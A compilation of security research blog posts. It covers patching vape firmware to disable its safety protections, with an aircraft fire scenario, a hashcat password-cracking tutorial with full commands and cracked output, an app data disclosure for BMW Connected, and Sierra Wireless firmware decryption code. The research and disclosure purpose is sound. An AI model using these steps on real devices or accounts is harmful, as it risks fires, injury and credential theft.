There are two ways to acquire the firmware: from the vendor’s site (vendors usually have firmware in the support section of their websites where they provide software updates) or by dismantling the device (looking for debug pins (JTAG/SWD) and dumping the firmware).

To dump the firmware, we start by identifying the components in the box mod vape.

This regulated mod uses a Nuvoton NUC220LE3AN an ARM cortex-m0 microcontroller
Nuvoton NUC220LE3AN

The following pins are exposed on the PCB:

  • G: VSS (Ground)
  • V: VCC (Power)
  • D: DATA
  • C: CLOCK
  • R: RESET
Nu-Link Pro programmer/debugger
Hooking the Nu-link to the Box mod

  • We used the following steps to dump the firmware:

    1.) Hook the NuLink-pro debugger to the Nuvoton chip using OpenOCD.
    2.) Attach gdb-multiarch to remote target. (multiarch used for arm) & we’ll debug later.
    3.) Telnet to OpenOCD on localhost:4444 to dump firmware.
    4.) Check the dumped image.

Once you’ve acquired the firmware, it’s time to take it to your favorite disassembler and load it.

ARM Cortex-M0 is little endian , ARMv6-M Architecture , Thumb instructions
  • Then create the segments in accordance with the microcontrollers datasheet
    • [TIP]: If you use IDA-PRO 7.5 or BinaryNinja you can use the SVD plugins to create your chip’s peripherals by obtaining its SVD file and loading it via that plugin.
Create segment mapping by reading the datasheet for the chip

Or, you can write a small script and let it create the segments for you.

Segments created
  • Align the interrupt vector table: (the interrupt vector table is 4-byte aligned)
    • An interrupt vector table is a structure full of exception handlers; when an exception is triggered, a function is called and its instructions are executed. Each exception in the interrupt vector table points to a function. For instance, if you press a button on a device, it triggers an exception. The function associated with the exception is looked up in the interrupt vector table, and the instructions within that function are executed. 
    • The interrupt vector table includes an exception named the reset vector. This address is the entry point where the first instructions that the microcontroller will execute after a reset/startup/boot are found (usually at offset 0x4 from the firmware’s base address).
    • The image below illustrates how the interrupt vector table is aligned.
Before Aligning the Interrupt Vector Table
After Aligning the Interrupt Vector Table

· The reset vector initially points to address 0xd5, which is actually one byte after the real reset vector address. The reason behind this is that before it branches to an address, the microcontroller checks to see if the LSB is set to 1 or 0. Depending on the value, it will branch to execute Thumb (1) or ARM (0) instructions. In our case, the LSB will be set to 1 as the ARM Cortex-M0 executes Thumb code. If the LSB is set to 0, it will raise a hard-fault exception since there are no ARM instructions supported here. To know what a branch will do, you can simply do a bitwise operation on the address. Once you get the address, go to the reset vector address, convert it into a function, and let the disassembler do its magic.

Now we’re all set for finding our protections and start our patching process.

Patch#1 Disable maximum temperature protection 

· This protection does not allow the vape to fire if the device temperature exceeds 75˚C (0x4b). This can be patched to 0xff (255˚C) or disabled altogether, meaning there is no max temperature check.

Device temperature check (75C)

Patch#2: Set initial watt/temperature to max 

  • These patches set the mod to deliver maximum power to the coils. Referring to the video below, you can hear the difference when the mod is fired at the same wattage (6.1) before and after patching the firmware.
Before (Left) and After (Right) Patching
Before (Left) and After (Right) Patching

Patch#3: Disable continuous fire protection 

  • This can be accomplished by patching the firmware to never allow the GPIO’s data output value to be reset to its original value, which in this chip was `0x0000FFFF` (see patch #4).

Patch#4: patch the firmware to trigger the firing mechanism without pressing the fire button

  • The following video demonstrates what can happen if the device is programmed with malicious firmware that causes the vape to fire on its own. 
Enabling the fire button via software, no need to press the fire button

Other Protections:

  • I found a few other protections that needed to be patched, such as:
    • OHM resistance checks for the coils.
    • Battery checks.
    • Max puffs.
    • Atomizer checks. 
    • Protection Abuse checks.
ME ABUSING PROTECTS!

Based on what I learned about the inner workings of regulated vape devices, I do believe that in certain cases vapes can be weaponized. A malicious actor could wreak havoc by causing them to explode or start a fire remotely, since the firmware can be patched to make the vape or its components operate without any sort of protection in place, effectively turning it into a unregulated mechanical mod.

Threat scenarios:

  • I don’t doubt that in the near future we will see malware (MalVapevapeware) targeting users that charge their devices from a laptop or devices that support OTA updates via Bluetooth. Simply put, malware can listen on USB/Bluetooth for vape devices and then trigger a firmware update, reprogramming the vape to become weaponized.

  • Vapes, high-drain batteries, and coins are allowed on airplanes. A malicious actor can cause a fire in an aircraft lavatory by throwing a battery attached to a coin into the waste bin where all the tissues are thrown. Same goes for the vape being triggered.
  • Vapes can be maliciously programmed to suddenly fire at a set time and date, if they have time and date settings.

Recommendations:

  • Vape firmware should be signed and encrypted:
    • Firmware that is signed ensures that the firmware being reprogrammed to the device is indeed by the vendor not by a malicious actor. 
    • Encrypting firmware makes it more difficult for attackers to reverse engineer it. Although this is security by obscurity, it would stop most attackers.
  • Vapes can be dangerous if poorly maintained.
  • Don’t charge your vape from a laptop. Use authentic external battery chargers.
  • Always ensure Bluetooth/wireless connectivity is switched off on your vape if it supports OTA firmware updates. In general, vapes shouldn’t have wireless capabilities, as it expands the attack surface.
  • Choose and buy authentic and well-known atomizers and mods. 
  • Always ensure that you purchase Authentic batteries. Accidents happen when fake batteries are used.
  • Always carry batteries in a battery case.
Battery Case

References:

INSIGHTS, RESEARCH | September 28, 2020

Password Cracking: Some Further Techniques

To begin at the beginning.

A password hash is a transformation of a password using what we call a “one-way” function. So, for example, ROT-13 (rotate by half the alphabet) would be a very, very bad password hash function and would give fairly recognizable results like “Cnffjbeq123!”. The one-way property means it must be essentially impossible to construct the inverse function and recover the original, and functions like MD5 or SHA1 certainly meet that particular criterion. Iterated encryption functions like DES have also been used (for example LAN Manager hashes), but seem to have fallen out of favor a while ago. There are a load of technical, cryptographic details which neither you or I need to know, but essentially we’ll end up guessing at loads of passwords and then performing the same one-way function and checking to see if we’ve arrived at the correct answer.

Now if we wanted to optimize our guessing procedure, we could create a giant lookup table of all possible passwords and all possible corresponding hashes. (As an aside, this might actually be slower than computing a really fast hash like MD5, because disk access is slower than doing a small number of things in CPU.) So at some point, a long time ago, a thing called a salt was added to the password hash on UNIX systems. A salt is a random number stored along with the hash, which goes into the hash computation as well. This gives two benefits:

  1. If the salt is long enough and random enough, it is no longer feasible to build a lookup table – it just gets too big.
  2. You have to attack each hash on its own; i.e. run a separate computation for each (salt, password candidate) pair.

So we arrive at something like sha512crypt, which is many iterations of SHA512 with a large random salt. It is fairly slow to compute each guess, which makes our job harder, for example:

Now, you can attack this by putting it in a file and running John the Ripper (https://www.openwall.com/john/) like this:

D:\john\run> john.exe sha512crypt.txt

or with hashcat (https://hashcat.net/hashcat/) like this:

hashcat.exe -a0 -m 1800 D:\hashcrack\john\run\sha512crypt.txt D:\hashcrack\dict\Top95Thousand-probable.txt -r D:\hashcrack\rules\best1222.rule -O -w3

So the problem now becomes “just” choosing all the magic parameters, which are explicit with hashcat and implicit with John the Ripper. Because I don’t like typing the same thing over and over again, I wrote a helper script called “hashcrack” (https://github.com/blacktraffic/hashcrack).

Briefly, hashcrack tries to guess the hash type and then runs some sensible attacks based on the speed of the hash. It of course does this by invoking hashcat, John the Ripper, a bunch of conversion/extraction scripts that come with John the Ripper, or occasionally impacket or SQLite. For example, taking a Responder db file (from the test suite) below:

D:\hashcrack>python hashcrack.py -i tests\Responder.db
    Running under win32
    Reading file: D:\hashcrack\tests\Responder.db
    Couldn't parse first line of file - trying as latin1

    [at this point it pulls out the NetNTLMv1 and v2 hashes into .tmp files - "SELECT fullhash FROM responder where type like 'NTLMv2%'" ]

    RUN: hashcat.exe -a0 -m 5600 D:\hashcrack\tests\Responder.db.tmp D:\hashcrack\dict\\\Top95Thousand-probable.txt -r D:\hashcrack\rules\\\best22405.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    IEUSER::IEWIN7:ed9cc20456c23e34:939e00dfea66e08e8b...03100000000000000000000000000:Passw0rd!

It is very much a glorified helper script, but it does at least tell you what command it decided to run in case you do need to tweak it further, and it does its best to unpack whatever it is to hashcat format.

First, catch your hash

Obtaining and recognizing hashes and then turning them into the correct format for John the Ripper or hashcat is not always a trivial exercise. At a minimum, we have the following main types.

Windows

  • Stored passwords, such as NTLM – How Attackers Dump Active Directory Database Credentials – https://adsecurity.org/?p=2398
  • NetLMv1/v2 – These can be captured using Responder or leaked from various applications, if you can get them to connect to your fake SMB share.
  • Kerberoasted hashes – These can be captured using Invoke-Kerberoast, Rubeus, or similar to perform Kerberoasting against an AD domain.
  • Domain cached credentials – These can be captured using password dumping tools on the local machine or by taking the three registry hives (security, system, and SAM) and unpacking them with impacket’s “secretsdump” (https://github.com/SecureAuthCorp/impacket)

UNIX

For Linux, these would typically be in /etc/shadow and the format will be sha512crypt or bcrypt for modern operating systems, starting with things like “$2$” or “$6$”. For AIX, you might find DEScrypt hashes in /etc/security/passwd, but the common theme is crypt formats (https://www.man7.org/linux/man-pages/man3/crypt.3.html).

Database

Generally, as DBA, you can query the password hashes out of the databases such as PostgreSQL, MySQL, Oracle, MSSQL, etc.

Documents

Password protected ZIP, Word, Excel, PDF files – Various scripts that come with John the Ripper which extract password hashes from these files.

Web Applications

You might see these if you can connect directly to the backend database or if you can exploit SQL injection. This can be anything the developers thought was a good idea, from MD5 to bcrypt. Using the phpass format as an example, it might be something like $P$984478476IagS59wHZvyQMArzfx58u.

Information implied by format

So where you get the hashes from gives you some clues about how to proceed. All Windows hashes should meet the domain’s password policy – unless the admins have given special dispensation. Web or database passwords could be any length in theory. WPA2 passwords must be at least eight characters according to the standard.

For unsalted hashes, such as plain MD5, or NTLM, or SHA1, you can attack a thousand hashes as quickly as one, so you may as well load them all up. Otherwise, you may need to pick hashes of particular interest.

Again with the quicker hashes, you may as well just throw everything at it and see what comes out – you can always refine your approach based on what you crack. With slower ones, it’s worth thinking about it or trying to find “cribs” (potential passwords, or parts of passwords) elsewhere on the system.

Benefits and constraints of using a GPU

You can of course do this all on CPU if you want, but for most hash types, GPU is much quicker. For example, bcrypt can be quicker on CPU because it has been designed that way. I’m not going to talk about FPGAs here, but that is a good approach if you really need it (e.g. https://www.usenix.org/system/files/conference/woot14/woot14-malvoni.pdf)

Because a lot of people like playing games with nice graphics, fairly cheap parallel processors are readily available. But there are certain limitations on how we can get them to process our workload. For the two most popular password cracking programs, hashcat and John the Ripper, this means expressing the search space in terms of a dictionary and a set of rules (or transformations) or a mask, which is essentially a set of possible character values to search. For the faster hashes, like NTLM and SHA1, you will need to supply a list of rules and a big enough wordlist in order to keep the GPU busy – I gather this is something to do with how quickly you can send data over the bus, but whatever the reason, using a short wordlist and no rules will not make best use of the GPU (hashcat will warn you about this).

Meanwhile, mask attacks are quick if you give a sufficiently large search space.

Hashcat expresses masks in a slightly odd way, so we have ?a, representing all ASCII values, ?d representing digits, ?l and ?u being lower- and upper-case respectively, and ?s meaning special characters. You may also see ?b which means any byte.

Thus a search using ?u?l?l?l?l?l?l?l?s will eventually match Password!, but will also catch everything from Aaaaaaaa! through to Zzzzzzzzz}

In the same way, the rules language describes how to transform a base word into the final guess, in terms of deleting or swapping characters or adding them to the start or end of the word. Like a CPU, it only implements a finite set of common operations, and we have to work with what’s there. If we assume “password” is the base:

$1$2$3 means append 123, so we get password123

^3^2^1 means prepend 123 (because we prepend 3, then prepend 2 to “3password”, etc.)

so0 means swap ALL ‘o’ characters to ‘0’ (zero), so it becomes “passw0rd”

One of the limitations of hashcat is that we can’t just swap some of the o characters to 0s, it’s all or none. (Research shows that humans tend to add complexity to the end of passwords, so suffixes are more likely to be helpful than prefixes.)

Dictionary and Rules

A “normal” run of hashcat might look like this, where we have a dictionary of common passwords in decreasing order of frequency and a rules file. I have given the hashcrack command, and the “RUN: ” is exactly how it decides to run hashcat.

The file I’m running it against is the last couple of million of the Have I Been Pwned NTLM dataset (https://www.troyhunt.com/pwned-passwords-now-as-ntlm-hashes/). I’ve written elsewhere about cracking the first 500 million, but for now, it’s just some convenient test data.

 ./hashcrack.py -i hashes.txt -t ntlm -d /root/dict/Top2Billion_probable.txt -r rules/InsidePro-PasswordsPro.rule
    RUN: ./hashcat64.bin -a0 -m 1000 hashes.txt /root/dict/Top2Billion_probable.txt -r /root/hashcrack/rules/InsidePro-PasswordsPro.rule  --loopback -O  -w4

If we look at the debug file produced by doing –debug-mode=4 –debug-file=dbg.log, we can see the dictionary word on the left, the rules applied in the middle, and the thing we found on the right.

We can give a directory as the dictionary argument, which means it tries every file in the directory one after the other. And we can give two rule parameters, which means it combines each rule in the first with every rule in the second. This means it gets big fast, but this can be useful if you have orthogonal rulesets (e.g. one for dealing with passphrases and one for endings like “123”, “123!” etc.). Combining insertions.rule and a normal ruleset got me t++19882008 with the t coming from the normal rules, and the ++ coming from insertions.rule.

Masks and Maskfiles

You can specify a search space using masks. For example, the following will try all ASCII passwords of length 1-5:

 ./hashcrack.py -i hashes.txt -t ntlm --mask ?a?a?a?a?a?a
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt ?a?a?a?a?a?a -i  -O   -w4

You can also specify this in a file, where you can define the character classes ?1, ?2, ?3, ?4 and then use them in the final field of the line. The following will search through default passwords and variants:

And then it will try each one, with the custom charsets given:

$ ./hashcrack.py -i hashes.txt -t ntlm --mask maskfiles/defaultpass.hcmask
    RUN: ./hashcat64.bin -a3 -m 1000 hashes.txt /root/hashcrack/maskfiles/defaultpass.hcmask  -O   -w4  --session hc

This guesses things like P@ssword, p@ssword, Password, password, … for example.

Combining lists

But what if I want to make like the Large Hadron Collider and just smash things together and see what happens? Well, there’s mode -a1 in hashcat, combinator and combinator3 from hashcat-utils (https://github.com/hashcat/hashcat-utils), and the PRINCE preprocessor (https://github.com/hashcat/princeprocessor).

Below, the file last1-5.txt contains commonly observed suffixes from my data, but you can also run two password dictionaries against each other. Found passwords will be the concatenation of one entry from the first dictionary and one from the second. In this case, “samtron” is in Top95Thousand-probable.txt and “_r89” is in last1-5.txt.

$ ./hashcrack.py -i hashes.txt -d /root/dict/Top95Thousand-probable.txt -e /root/dict/last1-5.txt -t ntlm
    RUN: ./hashcat64.bin -a1 -m 1000 hashes.txt /root/dict/Top95Thousand-probable.txt /root/dict/last1-5.txt   -O   -w4  --session hc

    8dd1b62216b2703737ad28b59b1bad1d:samtron_r89
    8bdc261caed3145d2a9f4f9de8ab31e2:greentreejkvl
    9e3e0d23ddb9be5a9498b4c9b4366336:ruby@bds
    244e2d25960ca0b8747efd0a1ab3c2f6:shashank.n87
    8c9df56a1769a1d8ed3a43989d25cd6f:conway7o4s
    b35f0b7e18945d4f1e79b6338a51d519:GarfieldH170
    1ff1fdb36d4b3c79cdc5a6d4d01230cb:canuckh2oz

Phrases

I extracted a bunch of short phrases from Google’s n-gram corpus (http://storage.googleapis.com/books/ngrams/books/datasetsv3.html) to play with, but there are other publicly available lists of passphrases. You will need slightly different rules, because you might want to capitalize things after spaces, swap space to underscore, or such. Try https://github.com/initstring/passphrase-wordlist/tree/master/hashcat-rules

  $ python hashcrack.py -i hashes.txt -t ntlm -d c:\Users\jamie\Desktop\words\1-4grams.txt -r rules\passphrases.rule
    RUN: hashcat.exe -a0 -m 1000 D:\hashcrack\hashes.txt c:\Users\jamie\Desktop\words\1-4grams.txt -r D:\hashcrack\rules\passphrases.rule  --loopback  -O --bitmap-max=26  -w3  --session hc

    25d9bebab099e8ef6e0ee0c496a2c917:ambitiouspeople
    f08eacad22f93cf1ad34ad34aaa119e6:industrialwelding
    a820d36ec57c4ef2c4426c242f50248e:simplysatisfied
    5dcbdc8902e458f07bc06eebd8273a6e:WarmFlame
    241d1c802fd187f35b3e2b9789b81b6e:JohnBelfield
    76cdc9d7543af6effda11f8ccef75669:EyeCannot
    17c9ea43a66e21f14a1ed106d06755d4:perhaps_forget
    4c2ba3c55cbdcaf1bc83f94777a3b6dd:imaginative_mind

Markov Models

As with all machine learning/statistical approaches, this works best if your training data is representative of the stuff you’re trying to crack. Which you don’t know, because you haven’t cracked it yet, but it’s a reasonable guess that it might follow the same form as fragments of English text. Travco wrote a nice quick program to do this: https://github.com/travco/rephraser.

In this case, ‘corpus.txt’ should be a lot of English sentences (or from whatever language you think might be in use).

$ python3 ../rephraser/rephraser.py --corpus corpus.txt --model ./wiki1M_model.keyvi | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/passphrase.rule -r ../rules/best1222.rule --loopback  -O   -w4

    57871172a2cd8ada7c7794fcb4a1820b:ToStayAtHome07
    def7c2415d3d240ff0c4821858b26402:ToBeReset
    affbfba14f0b54b5f2ff5db1873d3401:AnABootCamp
    33398e1f2542b9b973b5b9a726caf347:TOUNTHEBIG
    50d1e344e7d32c5c354ab8a97119c8c5:Abbyishard
    7efe3e0e20145e33a35d83e07d69e7bc:Andistillmay

Leetification

This is the term I use for swapping things like o->0, s->5, e->3 and so on, as people sometimes do in their passwords, for example “Pa55w0rd”. You can do this in rules if you want to swap all occurrences, but I suspected there might be a lot of people who did not consistently do this. Hashcrack can do this using the -3 flag:

    $ ./hashcrack.py -i hashes.txt -3 -t ntlm

which basically does this:

    $ python3 ../scripts/leetify.py /root/dict/Top2Billion_probable.txt | ./hashcat64.bin -a0 -m 1000 hashes.txt -r /root/hashcrack/rules/best22405.rule  --loopback  -O -w4  --session hc

and that script does a recursive leetification process.

Which gets us things like the following, where some, but not all, of the characters have been leetified.

Measuring rule quality

You can use debug output to see how often a rule is firing by adding –debug-mode=4 –debug-file=foo to the hashcat command line.

You can then use this data to count how many times each rule fires and plot a nice graph.

Obviously, this doesn’t account for the fact that two different rules may carry out the same transformation. ^”$” and $”^” both enclosed the candidate password in quotes, but only the first one in your list will get counted with this approach.

Measuring password quality

Another thing we can do is visualize how quickly passwords got cracked with any particular method, using hashcat’s status output and counting the cumulative number of passwords at each “tick.”

 hashcat64.exe -a0 -m 1000 C:\Users\jamie\Desktop\hashcrack\defcon2010-ntlm.txt C:\Users\jamie\Desktop\hashcrack\dict\\\Top32Million-probable.txt -r C:\Users\jamie\Desktop\hashcrack\rules\\\l33tpasspro.rule  --loopback  -O --bitmap-max=26  -w3  --session hc   --status >> graphme

    d:\hashcrack>python graph-by-quality.py hashcat-5.1.0\graphme

This can be used for evaluating the overall strength of the passwords – obviously, a steep initial curve means that lots of things cracked very quickly, and the defenders want to make the graph as flat as possible.

Representation and non-ASCII

If you’re trying to crack non-ASCII characters, you need to know how the underlying system deals with encoding and storage of the non-ASCII characters. For example, if you try to crack the NTLM hash for “Gü” :

Which is ”ü” according to CP-1252, as documented here: https://en.wikipedia.org/wiki/Windows-1252

But if we crack it like this, we get something:

So it appears my DOS window doesn’t like UTF-8:

but it does save it properly in the potfile when viewed with a sensible editor:

For more info, see:

Slower Hashes

Let’s take a look at three different hash types with fairly different designs – NTLM, WordPress (phpass), and bcrypt. Firstly, NTLM is not salted, so we can attack many hashes in parallel for free, which is a truly awful thing for defenders. The other two are salted, meaning each hash needs to be attacked separately, making cracking millions of hashes millions of times harder.

The other main difference is relative speed. Using a 1080 Ti as a reference platform, I can get a speed of 50 billion guesses per second against NTLM, around 8 million against WordPress, and about 20 thousand against bcrypt. However, bcrypt comes with a cost parameter, which can be adjusted to make the hash slower to compute, and the hashcat example is unusually generous in using a cost factor of five. Most modern implementations would use 10 or 12, meaning we can only make about one thousand guesses per second.

The purpose of this cost factor is that defenders want to make the computation take as long as possible without actually annoying the user – so, ideally, it would be a couple of hundred milliseconds or so. As computers get faster, we increase the cost factor and hopefully make things prohibitively expensive for attackers. That is, providing we can stop our users from picking passwords like “Summer2020”.

If you are attacking a hash like bcrypt, you need to start with the most likely passwords and possibly only attack the hashes you think are most useful; remember ,computing one bcrypt guess is 50 million times slower than computing one NTLM guess. Therefore attacking 1000 bcrypt passwords is 50 billion times slower than attacking 1000 NTLM passwords.

Just so you can see what the various hashes look like, here’s a demo of cracking the “hashcat” example WordPress (phpass) hash:

    D:\hashcrack>python hashcrack.py --hash "$P$984478476IagS59wHZvyQMArzfx58u." -d hashcat.txt
    Running under win32
    Reading file: C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp
    Autodetected phpass
    Cracking hash type 400
    RUN: hashcat.exe -a0 -m 400 C:\Users\jamie\AppData\Local\Temp\\zc2lxx1b.hash.tmp D:\hashcrack\hashcat.txt  --loopback  -O --bitmap-max=26  -w3  --session hc
    ...
    $P$984478476IagS59wHZvyQMArzfx58u.:hashcat

Cracking the “hashcat” example bcrypt hash:

    D:\hashcrack>python hashcrack.py --hash "$2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6" -d hashcat.txt
    Reading file: C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp
    Autodetected bcrypt
    Cracking hash type 3200
    Selected rules: best1222.rule, dict Top95Thousand-probable.txt, inc 0
    Using dict and rules
    CWD: D:\hashcrack\hashcat-5.1.0
    RUN: hashcat.exe -a0 -m 3200 C:\Users\jamie\AppData\Local\Temp\\_kwbmbla.hash.tmp D:\hashcrack\hashcat.txt -r D:\hashcrack\rules\\\best1222.rule  --loopback  -O --bitmap-max=26  -w3  --session hc
    $2a$05$LhayLxezLhK1LhWvKxCyLOj0j1u.Kj0jZ0pEmm134uzrQlFvQJLF6:hashcat

And then, an example of a more realistic bcrypt hash with significantly slower speeds:

Go Forth and Crunch

That is a bit of a whirlwind tour of hashcat and how to use it, together with various other add-ons. For further advice I’d say:

  • NVIDIA 1080/2080 gives a reasonable bang for your buck right now.
  • Learn the main modes and how you can use them to build the password guesses you’re thinking of.
  • Think of various hypotheses for what passwords might look like and test them out.
  • Make use of cribs such as company name, location, current season, current year, and things like that.
  • Cool your rig adequately.
  • Have fun.

References

INSIGHTS, RESEARCH | September 24, 2020

Uncovering Unencrypted Car Data in BMW Connected App

TL; DR: Modern mobile OSes encrypt data by default, nevertheless, the defense-in-depth paradigm dictates that developers must encrypt sensitive data regardless of the protections offered by the underlying OS. This is yet another case study of data stored unencrypted, and most importantly, a reminder to developers not to leave their apps’ data unencrypted. In this case study, physical access to an unlocked phone, trusted computer or unencrypted backups of an iPhone is required to exfiltrate the data, which in turn does not include authentication data and cannot be used to control or track the vehicle in any way.

Introduction

“While modern mobile operating systems allow encrypting mobile devices, which users can use to protect themselves, it is ultimately the developer’s responsibility to make sure that their software is thoroughly safeguarded. To this end, developers should provide reliable mobile app data encryption that leaves no user data without protection.” — Dmitriy Smetana.[1]

Physical theft is not the only attack vector that threatens the data stored on a mobile phone. Imagine, for instance, a shared computer at home or in the office where a phone has been authenticated and trusted. When the phone is connected and authenticated, a malicious actor with access to this computer would be able to extract its apps’ data. The likelihood is low in the real world, though.

One day during the pandemic I was wondering if my car’s mobile app was encrypting the data or not. So, I decided to analyze it:

Scope and Tools Used

The following navigation-equipped cars were used for this analysis:

· X5 xDrive40i (2020)

· 120i (2020)

· X1 sDrive20iA X Line (2018)

BMW Connected is a mobile app compatible with 2014 and newer navigation-equipped vehicles (BMW ConnectedDrive[2]). It allows the user to monitor and remotely control some features such as:

    · Lock/Unlock

    · Location tracking

    · Lights

    · Horn

    · Climate control

    · Destinations (navigation system)

    · Doors and windows status

    · Fuel level

    · Mileage

BMW Connected App Demonstration

The latest version of the app available on Apple Store was:

    · BMW Connected for iOS v10.6.2.1807

I installed the app on two iPhones, neither of which were jailbroken:

    · iPhone XS Max (iOS 13.4.1)

    · iPhone 8 Plus (iOS 13.3.1)

Then, I found unencrypted data using the following basic tools:

    · Windows 10 Home

        o iMazing[3]

    · Ubuntu Linux 19.10

        o strings

        o plistutil

        o base64

        o jq

Analysis and Results

You’ll see how easy it was to extract and decode the stored data.

Data Stored Unencrypted

The cars were added and authenticated within the app:

For both installations, the same behavior was observed: data was stored base64-encoded but unencrypted in .plist files. I used the plistutil command to decode such files, then, I piped the output through other command-line tools to strip empty lines and spaces.

Once I had the base64 strings, I decoded them with the base64 tool and finally, formatted and colorized the JSON output with the jq tool:

    · Favorite locations (FavoritesCollection.plist)

   · Directions sent to the vehicle (TripStorage.plist)

   · Status of doors and windows (VehicleHub.Suite.plist)

    · Mileage and remaining fuel (VehicleHub.Suite.plist)

    · History of remote actions (VehicleHub.Suite.plist)

    · Car color and picture (VehicleHub.Suite.plist)

    · Next maintenance due dates (VehicleHub.Suite.plist)

    · VIN and model

    · Owner’s first and last name and last logged date (group.de.bmw.connected.plist)

Weak Password and PIN Policies

On registration, I noticed the password policy only required eight characters from at least two of the following three charsets:

    · Letters (abc = ABC)

    · Numbers

    · Special characters

Such a policy might seem good enough; however, making the password case-insensitive significantly decreases its complexity. During testing, it was possible to login with any of the following passwords:

    · Qwerty12

    · QWERTY12

    · QwErTy12

Also, the app permits users to select an easy-to-guess PIN, which is used to unlock the car or access the app if the smartphone does not implement FaceID, TouchID, or a passcode. The existing PIN code policy allows users to choose weak combinations, such as consecutive numbers (e.g. “1234”) or the same number (e.g. “0000”).

However, the most commonly used feature for authentication is either FaceID or TouchID.

Recommendations

The takeaways are very simple:

    · For end-users:

        o Only authenticate your phone on trusted computers.

        o Avoid connecting and trusting your phone to shared workstations.

        o Use complex passwords and PIN codes.

    · For developers:

        o Do not put your complete trust in the operating system.

        o Encrypt sensitive data on your own.

Responsible Disclosure

One of IOActive’s missions is to act responsibly when it comes to vulnerability disclosure.

The following is the communication timeline with BMW Group:

· May 2, 2020: IOActive’s assessment of the BMW Connected App started.

· May 15, 2020: IOActive sent a vulnerabilities report to BMW Group following its guidelines.[4]

· May 20, 2020: BMW Group replied. They internally sent the report to the responsible departments.

· May 26, 2020: IOActive asked BMW Group for any updates or questions and let them know about our intention to write a blog post.

· May 28, 2020: BMW Group said to wait for a new app release prior publishing a blog post and asked for details to include the researcher in BMW Group’s Hall of Fame site.

· Aug 07, 2020: BMW Group and IOActive had a call to discuss the technical information that would be published in a blog post.

· Aug 13, 2020: BMW Group sent an email explaining how they would fix the issues.

· Aug 19, 2020: IOActive sent a draft of the blog post to be published to BMW Group for review.

· Aug 24, 2020: BMW Group suggested some modifications.

· Sep 08, 2020: IOActive sent the second version of the draft of the blog post to be published to BMW Group for review.

· Sep 11, 2020: BMW Group agreed with the final content.

· Sep 22, 2020: IOActive published this blog post.

The Fix

BMW Group’s security statement:

“Thanks to the notification of Alejandro Hernandez at IOActive via our responsible disclosure channel, we were able to change the way the app’s data cache is handled. Our app development team added an encryption step that makes use of the secure enclave of Apple devices, at which we generate a key that is used for storing the favorites and vehicle meta data that Alejandro was able to extract. We appreciate Alejandro for sharing his research with us and would like to thank him for reaching out to us.”

Acknowledgments

I would like to give special thanks to my friend Juan José Romo, who lent me two brand new cars for testing.

Also, I’d like to thank to Richard Wimmer and Hendrik Schweppe of BMW Group for their quick response and cooperation in fixing the issues presented here.

Thanks for reading,

Alejandro

@nitr0usmx


[1] Mobile Data Encryption in iOS: Techniques and Technologies: https://www.apriorit.com/dev-blog/436-data-encryption-ios

[2] BMW ConnectedDrive – https://www.bmw-connecteddrive.com

[3] https://imazing.com

[4] https://www.bmwgroup.com/en/general/Security.html

INSIGHTS, RESEARCH | September 17, 2020

No buffers harmed: Rooting Sierra Wireless AirLink devices through logic bugs

There are not many occasions when you can build a chain of exploits and not harm a single buffer, so it is interesting when you find yourself in one of those rare situations. As the title clearly indicates, this blog post will comprehensively describe the entire process that would allow a malicious actor to root Sierra Wireless AirLink® devices. 

Let’s do this! 

A couple of years ago the guys at Talos did a great job and killed many bugs in AirLink devices. As usual, before buying a device I always analyze the firmware first in order to get an overall impression of what I may face. Sierra Wireless has a nice website where it is possible to download firmware, so I chose my target (the RV50) and proceeded.

Analyzing the Firmware

After unpacking the firmware, we are presented with the following list of files:

The first notable thing is that well-known image formats, such as ‘rootfs.sqfs.uboot’, ‘uImage.recovery’ or ‘zImage’ are detected as ‘data’ so there should be something going on. As expected, a quick look at those files shows that they are definitely encrypted. Hopefully the only ‘clean’ binary that is present in the firmware (‘swinstaller’) will help us to figure out the scheme.

As you can see, it seems that, as we initially guessed, the important files are all encrypted. So, the next step is to spend some time digging through a C++ binary to understand the encryption algorithm. Some of the strings clearly pointed to ‘libtomcrypt’ as the encryption library, which definitely will help to reconstruct some of the symbols and logic in order to facilitate this sometimes tedious task.

They are using AES CTR without any apparent hardcoded key or IV, so there should be some logic that generates them at runtime. After reverse engineering the binary, we can break the encryption scheme into two different items: the values needed to derive the IV and the key and process for deriving them. 

1. Values

There are two different values that are required to properly derive the IV and the key for AirLink devices

1.1 Custom ‘seed

This 8-byte hardcoded value can be found in the ‘swinstaller’ binary, close to the ‘sha256’/’aes’ strings in most cases. 

 

Please note that it may vary across devices and versions.

1.2 Custom ‘version

This value can be found in the ‘manifest.txt’ file and corresponds to the ‘ALEOS_VERSION’ value, highlighted in the image below.  

As in the previous case, it will obviously be different across versions.

2.    Deriving the IV/Key

This non-canonical simple pseudo-code can be used to get an overall idea behind the generation.

  a = "\x00"*32
  b = version+seed 
  copy(a, rounds_sha256(b), 32)
  materials = rounds_sha256(a+b)
  iv = materials[0:31]
  key = materials[32:63]

The full logic to decrypt AirLink firmware files has been implemented in following file:

// For research purposes only
// 
// Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) 
// @IOActiveLabs https://labs.ioactive.com
// 
// Dependencies: 
// libtomcrypt https://github.com/libtom
// 
// Compile
// $ gcc decrypter.c -o decrypter -Isrc/headers libtomcrypt.a
// 
// Example
// KEY is the ALEOS_VERSION at manifest.txt (manifest.txt!ALEOS_VERSION=KEY)
// $ ./decrypter -d KEY aes /file/path/RV50/rootfs.sqfs.uboot /file/path/RV50/rootfs.sqfs.uboot.decrypted 4096 1

/* 
Example output for RV50 firmware - ALEOS_VERSION=4.13.0.017 

* Sierra Wireless' Airlink Firmware Decrypter (Ruben Santamarta @ IOActive) * 

- Initializing materials...
Hashing at keyBuff+32 for 18 bytes...
round 1
round 2
round 3
round 4

Copying 32 bytes from the hashed material to keyBuff

Now hashing the entire keyBuff [50 bytes]...
round 1
round 2
round 3
round 4

***=> IV:  "\x11\x5F\x24\x07\x50\x3C\x68\xD2\x28\x26\xBA\x18\x4B\x12\x54\xF1\x2C\x20\x36\x01\x45\x86\x42\x99\x05\x6D\x43\x3C\xC5\x80\xCA\x94"
